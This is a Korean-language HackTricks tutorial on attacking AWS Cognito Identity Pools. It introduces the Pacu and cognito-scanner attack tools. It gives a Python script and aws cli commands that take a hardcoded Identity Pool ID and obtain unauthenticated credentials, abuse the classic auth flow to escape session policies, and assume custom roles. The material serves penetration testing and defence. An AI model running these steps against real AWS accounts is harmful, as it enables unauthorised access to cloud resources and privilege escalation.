Cognito Identity Pools

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

기본 정보

Identity pools는 사용자가 임시 자격 증명을 얻을 수 있도록하는 중요한 역할을 합니다. 이러한 자격 증명은 Amazon S3 및 DynamoDB를 포함한 다양한 AWS 서비스에 액세스하는 데 필수적입니다. Identity pools의 주요 기능 중 하나는 익명의 게스트 사용자와 사용자 인증을 위한 다양한 신원 제공자를 지원한다는 것입니다. 지원되는 신원 제공자는 다음과 같습니다:

  • Amazon Cognito 사용자 풀

  • Facebook, Google, Amazon 로그인 및 Apple 로그인과 같은 소셜 로그인 옵션

  • OpenID Connect (OIDC)를 준수하는 제공자

  • SAML (Security Assertion Markup Language) 신원 제공자

  • 개발자 인증 신원

# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)

# Print the response from AWS
print(response)

Cognito Sync

Identity Pool 세션을 생성하려면 먼저 Identity ID를 생성해야 합니다. 이 Identity ID는 해당 사용자의 세션을 식별하는 식별자입니다. 이 식별자는 최대 20개의 데이터셋을 가질 수 있으며, 각 데이터셋은 최대 1MB의 키-값 쌍을 저장할 수 있습니다.

이는 사용자의 정보를 유지하는 데 유용합니다 (항상 동일한 Identity ID를 사용하는 사용자).

또한, 서비스 cognito-sync는 이 정보를 관리하고 동기화하는 서비스입니다 (데이터셋에서 정보를 보내고 스트림 및 SNS 메시지로 동기화).

Pentesting을 위한 도구

  • Pacu, AWS 공격 프레임워크로, 이제 "cognito__enum" 및 "cognito__attack" 모듈을 포함하고 있습니다. 이 모듈들은 계정 내의 모든 Cognito 자산의 열거 및 약한 구성, 액세스 제어에 사용되는 사용자 속성 등을 자동화하며, 수정 가능한 사용자 정의 속성, 사용 가능한 Identity Pool 자격 증명, ID 토큰의 가정 가능한 역할 등을 기반으로 사용자 생성 (MFA 지원 포함) 및 권한 상승도 자동화합니다.

모듈 기능에 대한 설명은 블로그 게시물의 2부를 참조하십시오. 설치 지침은 Pacu 메인 페이지를 참조하십시오.

사용법

주어진 Identity Pool 및 사용자 풀 클라이언트에 대해 사용자 생성 및 모든 권한 상승 벡터를 시도하는 cognito__attack 사용 예시:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

현재 AWS 계정에서 볼 수 있는 모든 사용자 풀, 사용자 풀 클라이언트, 신원 풀, 사용자 등을 수집하기 위한 cognito__enum 사용 예시입니다.

Pacu (new:test) > run cognito__enum
  • Cognito Scanner은 Cognito에 대한 다양한 공격을 구현하는 파이썬 CLI 도구입니다. 이 도구는 원치 않는 계정 생성 및 Identity Pool 승격을 포함합니다.

설치

$ pip install cognito-scanner

사용법

$ cognito-scanner --help

더 많은 정보는 https://github.com/padok-team/cognito-scanner에서 확인하세요.

IAM 역할에 접근하기

인증되지 않은 사용자

Cognito 앱에서 AWS 자격 증명을 얻기 위해 공격자가 알아야 할 것은 Identity Pool ID뿐입니다. 이 ID는 웹/모바일 애플리케이션에 하드코딩되어야 합니다. ID는 다음과 같은 형식입니다: eu-west-1:098e5341-8364-038d-16de-1865e435da3b (브루트포스 공격이 불가능합니다).

IAM Cognito 인증되지 않은 역할은 기본적으로 Cognito_<Identity Pool 이름>Unauth_Role로 호출됩니다.

Identity Pools ID가 하드코딩되어 있고 인증되지 않은 사용자를 허용한다면, 다음과 같이 AWS 자격 증명을 얻을 수 있습니다:

import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())

또는 다음 aws cli 명령어를 사용할 수 있습니다:

aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign

기본적으로 인증되지 않은 cognito 사용자는 정책을 통해 할당되었더라도 어떠한 권한도 가질 수 없습니다. 아래 섹션을 확인하세요.

향상된 vs 기본 인증 플로우

이전 섹션에서는 기본 향상된 인증 플로우를 따랐습니다. 이 플로우는 생성된 IAM 역할 세션에 제한적인 세션 정책을 설정합니다. 이 정책은 세션에 이 목록에서 서비스를 사용할 수 있도록 허용합니다(역할이 다른 서비스에 액세스 할 수 있는 경우에도).

그러나, Identity pool에서 "Basic (Classic) Flow"가 활성화되어 있다면, 사용자는 해당 플로우를 사용하여 세션을 얻을 수 있으며, 이 세션은 그 제한적인 세션 정책을 갖지 않을 것입니다.

# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign

오류를 받으면, 기본 플로우가 활성화되지 않았기 때문입니다.

An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.

IAM 자격 증명 세트를 가지고 있다면 어떤 액세스 권한을 가지고 있는지 확인하고 권한 상승을 시도해야 합니다.

인증된 사용자

인증된 사용자는 아마도 다른 권한이 부여될 수 있으므로, 앱 내에서 가입할 수 있다면 그렇게 해보고 새 자격 증명을 얻으세요.

또한 인증된 사용자가 액세스하는 Identity Pool에 대해 사용 가능한 역할이 있을 수 있습니다.

이를 위해서는 Identity Provider에 액세스해야 할 수도 있습니다. 그것이 Cognito User Pool인 경우, 기본 동작을 남용하고 새 사용자를 직접 생성할 수도 있습니다.

IAM Cognito 인증 역할은 기본적으로 Cognito_<Identity Pool name>Auth_Role로 호출됩니다.

어쨌든, 다음 예제는 이미 Cognito User Pool에 로그인한 상태에서 Identity Pool에 액세스하기 위해 사용됩니다 (다른 유형의 Identity Provider도 구성될 수 있음을 잊지 마세요).

aws cognito-identity get-id \
--identity-pool-id <identity_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# 이전 명령 응답에서 identity_id 가져오기
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>


# IdToken에서 사용자가 액세스하는 역할을 찾을 수 있습니다. 이는 User Pool 그룹으로 인해 발생합니다.
# 특정 역할에 대한 자격 증명을 얻으려면 --custom-role-arn을 사용하세요.
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
    --custom-role-arn <role_arn> \
    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

사용자가 로그인하는 Identity Provider 또는 사용자에 따라 다른 IAM 역할을 구성할 수 있습니다 (클레임을 사용). 따라서 동일한 또는 다른 제공자를 통해 다른 사용자에게 액세스할 수 있다면, 모든 사용자의 IAM 역할에 로그인하고 액세스하는 것이 좋을 수 있습니다.

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

最終更新